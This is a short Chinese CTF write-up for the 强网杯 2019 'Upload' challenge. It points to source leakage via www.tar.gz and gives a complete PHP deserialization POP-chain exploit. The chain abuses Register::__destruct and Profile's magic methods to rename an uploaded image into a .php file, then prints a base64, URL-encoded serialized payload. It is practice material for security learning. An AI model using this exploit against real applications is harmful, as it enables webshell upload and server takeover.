刷题记录:[强网杯 2019]Upload

时间:2020-11-28 06:11:35

刷题记录:[强网杯 2019]Upload

题目复现链接:https://buuoj.cn/challenges

参考链接:2019 第三届强网杯 Web 部分 WriteUp + 复现环境

一、知识点

1、源码泄露

www.tar.gz

2、php反序列化

看起来文件很大,但是用phpstorm打开的话会发现默认打开的文件里有两个断点,其实是给的hint,指出了反序列化利用的地方。之后常规的反序列化利用,不是很难。

唯一要注意的是序列化会把命名空间序列化进去,所以poc在这个地方必须要加namespace app\web\controller;

<?php

namespace app\web\controller;
class Profile
{
public $checker;
public $filename_tmp;
public $filename;
public $upload_menu;
public $ext;
public $img;
public $except; public function __construct()
{ } public function __get($name)
{
return $this->except[$name];
} public function __call($name, $arguments)
{
if($this->{$name}){
$this->{$this->{$name}}($arguments);
}
} } class Register
{
public $checker;
public $registed; public function __construct()
{
} public function __destruct()
{
if(!$this->registed){
$this->checker->index();
}
}
} $b = new Profile();
$b->except = array('index'=>'img');
$b->img = "upload_img";
$b->ext = true;
$b->filename = "./upload/f4e7685fe689f675c85caeefaedcf40c/00bf23e130fa1e525e332ff03dae345d.php";
$b->filename_tmp = "./upload/f4e7685fe689f675c85caeefaedcf40c/00bf23e130fa1e525e332ff03dae345d.png"; $a = new Register();
$a->registed = false;
$a->checker = $b;
echo urlencode(base64_encode(serialize($a)));